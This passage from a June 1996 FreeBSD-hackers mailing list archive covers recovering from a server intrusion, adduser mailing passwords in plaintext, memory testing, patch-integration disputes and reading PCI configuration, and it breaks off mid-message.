Mon, 24 Jun 1996 10:01:00 -0700 (PDT) Received: from server1.chromatic.com (server1.chromatic.com [199.5.224.120]) by xenon.chromatic.com (8.7.5/8.7.3) with ESMTP id KAA00652; Mon, 24 Jun 1996 10:00:27 -0700 (PDT) Received: from localhost (hua@localhost) by server1.chromatic.com (8.7.5/8.7.3) with SMTP id KAA16970; Mon, 24 Jun 1996 10:00:26 -0700 (PDT) Message-Id: <199606241700.KAA16970@server1.chromatic.com> X-Authentication-Warning: server1.chromatic.com: hua owned process doing -bs X-Authentication-Warning: server1.chromatic.com: Host hua@localhost didn't use HELO protocol X-Mailer: exmh version 1.6.4 10/10/95 To: Don Yuniskis cc: jsigmon@www.hsc.wvu.edu (Jeremy Sigmon), hackers@freebsd.org, hua@xenon.chromatic.com Subject: Re: Memory tests ... In-reply-to: Your message of "Mon, 24 Jun 1996 06:23:01 PDT." <199606241323.GAA29600@seagull.rtd.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 24 Jun 1996 10:00:26 -0700 From: Ernest Hua Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > According to the systems people around here, the best way to test memory is > > to put it into a Novell server. If the memory is flakey it will let > > you know fast. (ABEND???) > > I thinks someone around here has a 4.1 2 user box setup just for that > > purpose. > > Are people looking for *exhaustive* tests, "quick and dirty" tests, > diagnostic tests, or what? There are different solutions for each > of these. But I think just the "make world" style tests add very little > value (tho' prehaps, they are probably easiest to invoke...) I would prefer a thorough set of tests such as some reasonably optimized 1's and 0's test. I'm not familiar with algorithms for testing "flaky" versus "stuck". Ern From owner-freebsd-hackers Mon Jun 24 10:04:42 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id KAA05799 for hackers-outgoing; Mon, 24 Jun 1996 10:04:42 -0700 (PDT) Received: from who.cdrom.com (who.cdrom.com [204.216.27.3]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id KAA05767; Mon, 24 Jun 1996 10:04:37 -0700 (PDT) Received: from haldjas.folklore.ee (Haldjas.folklore.ee [193.40.6.121]) by who.cdrom.com (8.6.12/8.6.11) with ESMTP id KAA09983 ; Mon, 24 Jun 1996 10:04:32 -0700 Received: (from narvi@localhost) by haldjas.folklore.ee (8.6.12/8.6.12) id UAA26632; Mon, 24 Jun 1996 20:05:05 +0300 Date: Mon, 24 Jun 1996 20:05:05 +0300 (EET DST) From: Narvi To: Terry Lambert cc: "Jordan K. Hubbard" , guido@gvr.win.tue.nl, hackers@FreeBSD.ORG, security@FreeBSD.ORG, ache@FreeBSD.ORG Subject: Re: I need help on this one - please help me track this guy down! In-Reply-To: <199606240651.XAA27306@phaeton.artisoft.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sun, 23 Jun 1996, Terry Lambert wrote: > > Hmmm. We have reason to believe that he *didn't* get root (though > > we're still assuming he did, just to be paranoid) and if the mod times > > can be trusted, hosts.equiv hasn't been touched in many months (and > > localhost is commented out). > > 1) Do not believe this. Assume he got root. > 2) Assume your password changes are mailed out as cleartext by > your passwd program. > 3) Assumed md5 and checksum have been hacked to lie about > themselves and any other files affected. > 4) Assume system time stamps were changed. > 5) Assume all log files were edited. > 6) Best approach: reinstall the system (from distribution, > not backup --- no telling how long he was there). > 7) Turn off the stupid "password must meet these criteria" > on the password change. All it does is reduce the search > space a hacker needs to apply. > 8) Put spoofing filters on your firewall; basically, look for > the response bit. > 9) Make sure you aren't running routed -q. > 10) Turn of source routing on your gateway, if it's on. Now are there some more things someone who's system was breaked into could look for? Perhaps some passwords should be switched to S/Key - it should be possible to generate them on a remote machine and then install? > > If you need help getting the FBI involved, tell them you had "munitions" > on the machine. ;-). The "secure" part of distribution + DES actually are so by the definition, no matter that he could have downloaded them from much nearer... Sander who is by no means a security specialist > > > Terry Lambert > terry@lambert.org > --- > Any opinions in this posting are my own and not those of my present > or previous employers. > From owner-freebsd-hackers Mon Jun 24 10:04:49 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id KAA05827 for hackers-outgoing; Mon, 24 Jun 1996 10:04:49 -0700 (PDT) Received: from mail.cs.tu-berlin.de (root@mail.cs.tu-berlin.de [130.149.17.13]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id KAA05775 for ; Mon, 24 Jun 1996 10:04:38 -0700 (PDT) Received: from campa.panke.de (anonymous218.ppp.cs.tu-berlin.de [130.149.17.218]) by mail.cs.tu-berlin.de (8.6.12/8.6.12) with ESMTP id SAA22145; Mon, 24 Jun 1996 18:49:02 +0200 Received: (from wosch@localhost) by campa.panke.de (8.6.12/8.6.12) id SAA01467; Mon, 24 Jun 1996 18:42:00 +0200 Date: Mon, 24 Jun 1996 18:42:00 +0200 From: Wolfram Schneider Message-Id: <199606241642.SAA01467@campa.panke.de> To: "Jordan K. Hubbard" Cc: hackers@freebsd.org Subject: adduser mail In-Reply-To: <11828.835624782@time.cdrom.com> References: <11828.835624782@time.cdrom.com> Reply-to: Wolfram Schneider MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Jordan K. Hubbard writes: >Am I alone in thinking that adduser's current default behavior of mailing >the user their password in plaintext is somehow wrong? I would rather remove the 'send mail to new user' feature completely. This should be done with a mail client (pine, Emacs/VM). Wolfram From owner-freebsd-hackers Mon Jun 24 10:05:20 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id KAA05909 for hackers-outgoing; Mon, 24 Jun 1996 10:05:20 -0700 (PDT) Received: from mail.cs.tu-berlin.de (root@mail.cs.tu-berlin.de [130.149.17.13]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id KAA05898 for ; Mon, 24 Jun 1996 10:05:14 -0700 (PDT) Received: from campa.panke.de (anonymous218.ppp.cs.tu-berlin.de [130.149.17.218]) by mail.cs.tu-berlin.de (8.6.12/8.6.12) with ESMTP id SAA22151; Mon, 24 Jun 1996 18:49:05 +0200 Received: (from wosch@localhost) by campa.panke.de (8.6.12/8.6.12) id SAA01474; Mon, 24 Jun 1996 18:47:49 +0200 Date: Mon, 24 Jun 1996 18:47:49 +0200 From: Wolfram Schneider Message-Id: <199606241647.SAA01474@campa.panke.de> To: Jouke Dijkstra Cc: "Jordan K. Hubbard" , hackers@freebsd.org Subject: Re: adduser mail In-Reply-To: <31CEB685.41C67EA6@epsilon.nl> References: <11828.835624782@time.cdrom.com> <31CEB685.41C67EA6@epsilon.nl> Reply-to: Wolfram Schneider MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Jouke Dijkstra writes: >Jordan K. Hubbard wrote: >> Am I alone in thinking that adduser's current default behavior of mailing >> the user their password in plaintext is somehow wrong? > >This tweaks my mind. It's a users initial password. No-one can read >without knowing it. Adduser ask for a second email address for initial message. This may be a remote email address. Wolfram From owner-freebsd-hackers Mon Jun 24 10:25:20 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id KAA08366 for hackers-outgoing; Mon, 24 Jun 1996 10:25:20 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.211]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id KAA08343; Mon, 24 Jun 1996 10:25:14 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id KAA28491; Mon, 24 Jun 1996 10:19:22 -0700 From: Terry Lambert Message-Id: <199606241719.KAA28491@phaeton.artisoft.com> Subject: Re: I need help on this one - please help me track this guy down! To: narvi@haldjas.folklore.ee (Narvi) Date: Mon, 24 Jun 1996 10:19:22 -0700 (MST) Cc: terry@lambert.org, jkh@time.cdrom.com, guido@gvr.win.tue.nl, hackers@FreeBSD.ORG, security@FreeBSD.ORG, ache@FreeBSD.ORG In-Reply-To: from "Narvi" at Jun 24, 96 08:05:05 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Now are there some more things someone who's system was breaked into > could look for? Perhaps some passwords should be switched to S/Key - > it should be possible to generate them on a remote machine and then > install? SUID/SGID programs. Permission changes on devices. Compiler changes. Changes to ld.so. Kernel modules that weren't there before. RC file changes. The list is endless, which is why you reinstall. You can trust every binary from the distribution media. When the 414's broke into a machine I was administering, it got reinstalled, period. Using security logs (which you have to have in place before the fact), we were able to trace back to the original MAC address ... to a specific machine in a specific lab on a college campus, with the cooperation of the terminal server there. The same loose security that let him hack from there let us locate him. Within 8 hours, the system was fully firewalled and back on line (with all attempt logging active). The most stupid thing I have ever seen someone do was asserting "we're smarter than them; we're going to let them come in, and we'll catch them red handed". Then they decided to establish a secure zone and expand it, instead of cutting off the net access and establishing a switchable zone. This rendered the computers of a large number of engineers useless for a relatively long period of time... the net effect was about $1.2M in costs for idle engineering time plus facility costs. If you have a problem system, dike it out of your network. If you have a problem terminal server, take it off line and fix it. If you have a problem office, deny it access to the corporate net until the problem is resolved. A couple of plane tickets and some hotel bills to get your experts on site is a hell of a lot less expensive and more effective than trying to run an uncooperative hacker by wire in an ill-thought attempt to demonstrate your own brilliance. Further discussion should probably go to "chat" or "security". Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Mon Jun 24 10:37:22 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id KAA10320 for hackers-outgoing; Mon, 24 Jun 1996 10:37:22 -0700 (PDT) Received: from gvr.win.tue.nl (root@gvr.win.tue.nl [131.155.210.19]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id KAA10284; Mon, 24 Jun 1996 10:37:12 -0700 (PDT) Received: by gvr.win.tue.nl (8.6.12/1.53) id TAA16762; Mon, 24 Jun 1996 19:34:08 +0200 From: guido@gvr.win.tue.nl (Guido van Rooij) Message-Id: <199606241734.TAA16762@gvr.win.tue.nl> Subject: Re: I need help on this one - please help me track this guy down! To: narvi@haldjas.folklore.ee (Narvi) Date: Mon, 24 Jun 1996 19:34:07 +0200 (MET DST) Cc: terry@lambert.org, jkh@time.cdrom.com, hackers@freebsd.org, security@freebsd.org, ache@freebsd.org In-Reply-To: from Narvi at "Jun 24, 96 08:05:05 pm" X-Mailer: ELM [version 2.4ME+ PL17 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > Now are there some more things someone who's system was breaked into > could look for? Perhaps some passwords should be switched to S/Key - > it should be possible to generate them on a remote machine and then > install? > Another good idea is to start using the /etc/login.access file. For me, all logins will orginate from a small set of machines... -Guido From owner-freebsd-hackers Mon Jun 24 10:44:01 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id KAA11331 for hackers-outgoing; Mon, 24 Jun 1996 10:44:01 -0700 (PDT) Received: from haldjas.folklore.ee (Haldjas.folklore.ee [193.40.6.121]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id KAA11249; Mon, 24 Jun 1996 10:43:36 -0700 (PDT) Received: (from narvi@localhost) by haldjas.folklore.ee (8.6.12/8.6.12) id UAA26882; Mon, 24 Jun 1996 20:48:19 +0300 Date: Mon, 24 Jun 1996 20:48:18 +0300 (EET DST) From: Narvi To: jaeger cc: "Jordan K. Hubbard" , Amancio Hasty , hackers@FreeBSD.org, security@FreeBSD.org, ache@FreeBSD.org Subject: Re: I need help on this one - please help me track this guy down! In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk On Sun, 23 Jun 1996, jaeger wrote: > > > On Sun, 23 Jun 1996, Jordan K. Hubbard wrote: > > > All we have are the "last" logs, which show: > > > > jkh ttyp2 a235.pu.ru Sun Jun 23 16:50 - 17:18 (00:28) > > jkh ttyp3 a235.pu.ru Sun Jun 23 15:00 - 15:34 (00:33) > > > > If someone at the russian site could help correlate this time (PST) to > > the local time at wherever a235.ru.pu came in from, we could at least > > narrow down which user(s) it might have been. > > > This appears to be a Dialup IP connection. If the machine logging > the terminal server (or other dialip access device) wasn't root compromised, > we should see some useful logs. Probably a stolen account. > Because of the presence of the lastlog records and the generally > good security of FreeBSD, I also suspect there was no root compromise on > wcarchive. I'm concerned about the possibility of a DNS server compromise, > given the unusual traceroute results of the intruder's IP. > On another pessimistic note, I believe most of the telco switches in > Russia are still crossbars, which could make any attempt to trace the > intruder through the phone system fruitless. :< You may be in a mistake on that one... The phone calls in the former Soviet Union used to be traceable :-( So it could be possible to find it out if measures are taken urgently - and I think it has to be the owner of the dial up connection - provided there aren't hundreds of calls per day. Sander > > > > Jordan > > > -jaeger > From owner-freebsd-hackers Mon Jun 24 10:44:26 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id KAA11499 for hackers-outgoing; Mon, 24 Jun 1996 10:44:26 -0700 (PDT) Received: from brasil.moneng.mei.com (brasil.moneng.mei.com [151.186.109.160]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id KAA11409; Mon, 24 Jun 1996 10:44:13 -0700 (PDT) Received: (from jgreco@localhost) by brasil.moneng.mei.com (8.7.Beta.1/8.7.Beta.1) id MAA05936; Mon, 24 Jun 1996 12:43:33 -0500 From: Joe Greco Message-Id: <199606241743.MAA05936@brasil.moneng.mei.com> Subject: Re: I need help on this one - please help me track this guy down! To: michaelh@cet.co.jp (Michael Hancock) Date: Mon, 24 Jun 1996 12:43:33 -0500 (CDT) Cc: security@freebsd.org, hackers@freebsd.org, isp@freebsd.org In-Reply-To: from "Michael Hancock" at Jun 24, 96 11:58:10 pm X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > Maybe someone should ask pu.ru to filter outgoing non-pu.ru packets. Some > ISPs do this. Any ISP that doesn't is (IMNSHO) screaming their incompetence. ... Joe ------------------------------------------------------------------------------- Joe Greco - Systems Administrator jgreco@ns.sol.net Solaria Public Access UNIX - Milwaukee, WI 414/546-7968 From owner-freebsd-hackers Mon Jun 24 12:02:24 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id MAA22614 for hackers-outgoing; Mon, 24 Jun 1996 12:02:24 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.211]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id MAA22605 for ; Mon, 24 Jun 1996 12:02:20 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id LAA28712; Mon, 24 Jun 1996 11:57:23 -0700 From: Terry Lambert Message-Id: <199606241857.LAA28712@phaeton.artisoft.com> Subject: Re: cvs commit: src/etc/mtree BSD.usr.dist To: nate@sri.MT.net (Nate Williams) Date: Mon, 24 Jun 1996 11:57:23 -0700 (MST) Cc: terry@lambert.org, hackers@freefall.freebsd.org In-Reply-To: <199606241517.JAA20540@rocky.sri.MT.net> from "Nate Williams" at Jun 24, 96 09:17:01 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > In case you hadn't noticed, the 'fsck' patch has been in current for > almost a month now. The reason it wasn't put in was because I don't > think anyone took enough time to understand the problem well enough, so > therefore didn't want to 'break' the system if the patch didn't work. I > gave up on trying to understand the problem (not enough time) and simply > went with it hoping my testing was adequate. It *appears* to work, > though if you asked me if I was sure it's the correct fix I couldn't > answer with assurance. Probably need an FS expert -- do we have one of those on the list? -- hmmmmm... we do: me. I stated that I had regression tested the fix. I did, including power-off destructive testing during latent metadata update operations (see the debug sysctl in the source file /sys/ufs/ffs/ffs_alloc.c). > > patches accepted. I am *not* the only person in this boat. It > > takes nearly Herculean effort to get some types of patches accepted; > > several groups have had to go so far as to offer their own boot > > disks and patch kits (most notably Hosokawa-san's PCCARD code). > > Even with Nate's patronage, there is still the need for building > > seperate-from-snap boot disks to address a number of issues, because > > the patches are not *truly* integrated. > > And won't be. The Nomad code is *full* of hacks and kludges (admitted > by Hosokawa). My goal is to remove as many of those from the base > system code and *then* add them back 'as necessary', rather than > importing them wholesale and trying to work around them. My recent > 'fix' to allow you to use 'generic' IRQ's in the code made the user-land > code smaller, while the Nomad code adds 4-5K of completely un-necessary > code which also makes the code more difficult to understand. Its taken > my weeks to understand small portions of the code (not all due to them), > and rather than continuing on in this manner I feel that it's better to > make what we have more understandable and maintainable than chock-full > of features that may/may not be correctly implemented. Question: did they submit the code as if it were integratable as is, or like my SYSINIT code, was it a prototype? From what I can see of their announcements, it was prototype code. Integration in this case would have been accepting the necessary architectural adjustements, but not the actual code. It's obvious that the framework in which the prototype lives would need to be changed little to support a production version of the code. > The 'boot-disk' code they use would be much *simpler* if they added 2 > functions to the code and relegated all of the conditional code to it. > (You should be able to use 1 additional function, but I'll grant 2). > Instead of doing that there are modifications to *every* single file > which makes the code bloat excessively, plus trying to understand it > becomes more problematic. I've almost considered re-writing the Nomad > code to remove these particular kludges, but I don't agree with how it's > being done in the first place so it would only encourage using it. The same class of architectural arguments were the basis of some of the patches I supplied; ironic, isn't it? 8-). > What I've done recently is spend *ALOT* of time trying to sync. up our > source trees. I've been sending patches back to Hosokawa with a set of > diffs that can be applied to our -current tree to bring the Nomad code > into the *exact* same functionality as their code, but with white-space > and formatting changes removed. This way they can review their changes > again to make sure they are valid (I question some of them), and allow > us to at least have more commonality than before. Right now the code > has diverged so much that integrating is near impossible, and if they > diverge much more than I'm going to give up and roll everything myself > from scratch. Look, this was not an attempt to denigrate the work you were putting in, nor the cooperation. It *was* intended to point out the cycle time involved -- nothing else. > This sounds harsh, but it's starting becoming *more* work > to integrate their code than it would be for me to write it myself. It should be obvious that this would be a natural result of the integration method used... this is perhaps more obvious to me, because this is exactly what I suggested I was willing to do with my own code to make it acceptable. I think it is unreasonable to believe that you must understand everything in order to use work from third party providers; this is not to say that you should accepts prototypes as of they were production code; you should not. Probably, you should approach them about high level issues, and leave the prototype to production conversion to them. This is more difficult for you because of the APM code being your baby, and integral to the use of their work. Look on it as a collaborative effort, not a filtering effort, and expect them to collaborate. Use of "champions" to operate as filters is ineffective; if the expertise (or interest) does not exist on the core team, than any code which relies on this method for integration will fail to be integrated. > And, this is peanuts compared to your FS patches, your kernel locking > patches, and the like. Also, the Nomad kernel code is already mostly > broken up into functional chunks because of my previous integration > efforts, so it's easy for me to separate out function from style. I wish that it were possible to change a VFS interface without impacting everything that uses VFS interfaces, but it is not. I wish it were possible to ensure the state in and out of functions without going to a style technique like single-entry/single-exit, but it isn't -- without seriously damaging readability. I wish that NFS locking were simple and obvious; but it isn't -- which explains the lack of a single public implementation of it, anywhere. I which I could build castles in the air and not have to drag my foundations with me -- but I can't. Castles require foundations, or they collapse (your own experience with the APM code should have told you that -- one rough cut foundation stone damages the entire structure). > However, this has taken my close to 6 months of my time working over 20 > hours/week. For you to expect Poul (or any other developer) to commit > to this much time is too much. I'm doing it because I got paid for part > of it at work, and the last 2.5 months I've done it because I want to > finish what I started. I do *not* expect them to commit that much time. I do not expect them to have to fully understand the code. Clearly, there are some people who fully understand the ramifications of stacking FS architectures sufficiently to make them operate; but to make them sing? You'll notice that, other than BSDI, which hasn't done much with it, there are *no* commercial VFS stacking interfaces. The technology has existed and been talked about for *years*... but there are few people who fully comprehend all of the subtleties and issues. I know of maybe 8 people, period, including myself, and I'd still class Rosenthal and Heidemann at the top of the list as not having some of the blind spots I do. Again, not to denigrate your efforts, but the idea that all code must be vetted by a core member expert in the code is ridiculous (and, unless John H. has joined the core team without telling me, probably an impossibly high standard to ever meet for some FS issues). > > I'm sure I could also halve or quarter my production, providing > > rationale for things which are, to me at least, bloody obvious. I'm > > already willing to spend a large amount of time parceling up my > > work, but I have only so much time I'm willing to spend; please do > > not bankrupt me. > > Please don't bankrupt the committers. For a committer to understand > your code, they must become at least passingly familiar with both the > problem, and the fix. So, it takes almost as long to 'commit' a fix as > it does to create it. So, what may be 'bloody obvious' to you isn't so > obvious to a committer. I am willing to explain issues in less than strictly technically accurate terms to educate people to the level of passing familiarity; but a number of my fixes require a full understanding of both the existing code and John Heidemann's Master's Thesis to realize that the deltas are designed to move the code as integrated by CSRG into line with John's intended design. There are fixes which add *nothing* to existing functionality, which seem like tangential and gratuitous code rewrites, when they are, in fact, necessary prepatory work for architectural next steps. Some of the stuff people submit qualifies as PhD level work; I'd say that most of the stuff John Dyson does falls into that category, and there are others, which I won't ennumerate for fear of omitting someone from the list. Unless these PhD's are already on the core team, you are screwed: you can't expect to be able to incorporate their work, ever. > Remember, none of us are paid FS hackers in our day jobs, and *some* > of the code that has been submitted in the past has been full of > 'stylistic' and other misc. changes that are considered unacceptable. The only "stylistic" changes I've engaged in recent history are the single-entry/single-exit changes in vfs_syscalls.c to make it clear when state is being inverted for a given operation. This was initially put in for the "exclusive" lookup (which moved some 8 duplicate code segments into vfs_lookup.c) and the path buffer allocation/deallocation at the vfs_syscalls.c layer instead of relying on each FS implementor to implement the same operations the same way (an impossible task for, for instance, VFAT, which has two names associated with each file and therfore must deal with short name collision resolution). That I did this consistently, instead of only hitting the name lookup functions, simply saves the time of doing it later for other reasons, for the remaining functions. You may label the change gratuitous in your belief that fine grained SMP locking is not a win; however, since the change does not otherwise impact you, you should be willing to accept it at face value, in that you always have the choice of not accepting the reeentrancy locking later as a compile time option, yet would not actively interfere *now* with the research of other computer scientists. There is no reason to be a proverbial "dog in the manger". > Until you've proven yourself to the responsible committer, you must > *help* that person understand your code, which means putting up with > his/her idiosyncracies necessary to get code integrated. I can buy this... to an extent. I refuse, however, to educate them to the point where they could be me. It is far too much effort, and, I suspect, the primary reason John Dyson has yet to architecturally document the VM system, except in broad strokes. To do so would take a large effort, better turned toward coding, and a level of detail which would significantly constrain the future directions he would be allowed (by his peers) to take: anything outside the plan would tend to be shot down. > And, once you've proven yourself over a period of time that you can be > trusted to commit 'functional' code that doesn't contain 'stylistic' > changes that *may* have function down the road, you become a committer > on your own, able to break the tree at will like the rest of us. What is fundamentally wrong with taking the long view? What is wrong with changes enabling future functionality? I simply do not understand this. Escaping a 3 month (quarterly report) or 6 month (middle management review cycle) or 12 month (employee review cycle) horizion is what pariticipating in a volunteer effort is all about. > But this responsibility has to be earned with trust, not with words and > code. Pericles, how doest thou thine love approve? It would help if things were operated on an initial basis of trust rather than one of distrust, wouldn't it? Then we would not have to engage a "prove yourself to me" protocol before being able to trust anyone. Have you heard of the prisoner's dilemma? The computationally perfect method of playing is called "modified tit-for-tat with forgiveness". I highly recommend the book "the evolution of cooperation", and Dawkins' book "the selfish gene". > > Can we compromise? Can you define how small is palletable so that I > > can preinsure palletability before sending something, and if, when > > I send something, it is not sufficient self explanatory (with a minimum > > of accompanying text), tell me *that* so I can correct it? > > Finally, let me say that I hope you appreciate the work Poul is doing. > I wouldn't even *begin* to start trying to integrate the code you're > submitting. I looked at it *once*, and I was unable to separate out the > functionality from the rest, and even if I was I wouldn't know if the > changes were valid or not. Both the project and you win if we can get > your *fixes* in the tree. But both you and the project lose if you > continue to send in 'mega-commits' which are continually rejected, since > the liklihood of integration become less each time for both personal and > technical reasons. I am unaware of exactly what Poul is doing; he has not communicated it to me. We have had offline discussions of me providing access to my combined source tree, which I would like to do, despite the knowledge that it means much of my work could be taken out of context. If you refer to a more taut integration effort of some kind, I have better patches against -current, synchronized on a weekly basis, and directly applicable (as Jeffrey Hsu has proven on several occasions by applying them to local source trees on his machine). My initial tools problems have been resolved, though the problems of foundation-using code vs. vendor branching has not. There are technical issues with providing tree access, which I am working on. Any lessening of likelihood for personal reasons would be grossly unprofessional ...as would me identifying so heavily with my code that a comment on the code was taken as a personal comment on me; the blade must cut both ways, and I realize this. I refuse to set the bar lower than consumately professional interaction; you do not have to *like* someone to be a benificiary of their work. Look at Richard Stallman; he is an egocentric marxist, but the world would be a poorer place without him. Regards, Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Mon Jun 24 12:21:26 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id MAA23941 for hackers-outgoing; Mon, 24 Jun 1996 12:21:26 -0700 (PDT) Received: from linux4nn.gn.iaf.nl (root@linux4nn.gn.iaf.nl [193.67.144.34]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id MAA23924; Mon, 24 Jun 1996 12:21:08 -0700 (PDT) Received: from uni4nn.iaf.nl (root@uni4nn.iaf.nl [193.67.144.33]) by linux4nn.gn.iaf.nl (8.6.9/8.6.9) with SMTP id VAA21509; Mon, 24 Jun 1996 21:19:58 +0200 Received: by uni4nn.iaf.nl with UUCP id AA08962 (5.67b/IDA-1.5); Mon, 24 Jun 1996 21:19:37 +0200 Received: by iafnl.es.iaf.nl with UUCP id AA15588 (5.67b/IDA-1.5); Mon, 24 Jun 1996 20:42:36 +0200 Received: (from wilko@localhost) by yedi.iaf.nl (8.6.12/8.6.6) id UAA01054; Mon, 24 Jun 1996 20:19:35 +0200 From: Wilko Bulte Message-Id: <199606241819.UAA01054@yedi.iaf.nl> X-Organisation: Private FreeBSD site - Arnhem - The Netherlands Subject: Re: I need help on this one - please help me track this guy down! To: jkh@time.cdrom.com (Jordan K. Hubbard) Date: Mon, 24 Jun 1996 20:19:35 +0200 (MET DST) Cc: guido@gvr.win.tue.nl, hackers@freebsd.org, security@freebsd.org, ache@freebsd.org In-Reply-To: <10346.835598093@time.cdrom.com> from "Jordan K. Hubbard" at Jun 23, 96 11:34:53 pm X-Mailer: ELM [version 2.4 PL23] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk As Jordan K. Hubbard wrote... > > ip address. Unless of course you either block packets coming from localhost > > or block source routed packets. > > Oh yeah, also, David says both we and CRL (the ISP) block source > routed packets. > > Jordan This makes me wonder: can ijppp also block source routed packets? >From the man page I don't see how... Wilko _ __________________________________________________________________________ | / o / / _ Wilko Bulte email: wilko@yedi.iaf.nl |/|/ / / /( (_) Private FreeBSD site - Arnhem - The Netherlands -------------------------------------------------------------------------------- From owner-freebsd-hackers Mon Jun 24 12:37:22 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id MAA24882 for hackers-outgoing; Mon, 24 Jun 1996 12:37:22 -0700 (PDT) Received: from soda.CSUA.Berkeley.EDU (soda.CSUA.Berkeley.EDU [128.32.43.52]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id MAA24877; Mon, 24 Jun 1996 12:37:19 -0700 (PDT) Received: (from richardc@localhost) by soda.CSUA.Berkeley.EDU (8.6.12/8.6.12) id MAA14960; Mon, 24 Jun 1996 12:37:22 -0700 Date: Mon, 24 Jun 1996 12:37:18 -0700 (PDT) From: Veggy Vinny To: Wilko Bulte cc: "Jordan K. Hubbard" , guido@gvr.win.tue.nl, hackers@FreeBSD.org, security@FreeBSD.org, ache@FreeBSD.org Subject: Re: I need help on this one - please help me track this guy down! In-Reply-To: <199606241819.UAA01054@yedi.iaf.nl> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk Speaking about security, we are running a FreeBSD box and there is a guy that has this program that can get root shell as long as he has any account, can someone look into this and find out how he does it? Vince GaiaNet SysAdmin From owner-freebsd-hackers Mon Jun 24 13:00:54 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id NAA26120 for hackers-outgoing; Mon, 24 Jun 1996 13:00:54 -0700 (PDT) Received: from Sisyphos (Sisyphos.MI.Uni-Koeln.DE [134.95.212.10]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id NAA26115 for ; Mon, 24 Jun 1996 13:00:49 -0700 (PDT) Received: by Sisyphos id AA11705 (5.67b/IDA-1.5 for hackers@freebsd.org); Mon, 24 Jun 1996 21:52:55 +0200 Message-Id: <199606241952.AA11705@Sisyphos> From: se@zpr.uni-koeln.de (Stefan Esser) Date: Mon, 24 Jun 1996 21:52:54 +0200 In-Reply-To: A JOSEPH KOSHY "Q: Getting PCI information" (Jun 24, 14:24) X-Mailer: Mail User's Shell (7.2.6 alpha(2) 7/9/95) To: A JOSEPH KOSHY Subject: Re: Q: Getting PCI information Cc: hackers@freebsd.org Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Jun 24, 14:24, A JOSEPH KOSHY wrote: } Subject: Q: Getting PCI information } } Is there any way from user-land to get the current PCI configuration } on a machine? There are several possible approaches: 1) Read the PCI configuration space registers using port accesses 2) Read the PCI configuration space registers by calling PCI BIOS functions 3) Have the PCI probe code keep all information from the boot phase in a kernel table I'm strongly in favour of 3), since the other methods can't be guaranteed to be non-disruptive. Reading a port or memory mappings base address is no problem, but reading the size of such a map is done by changing the 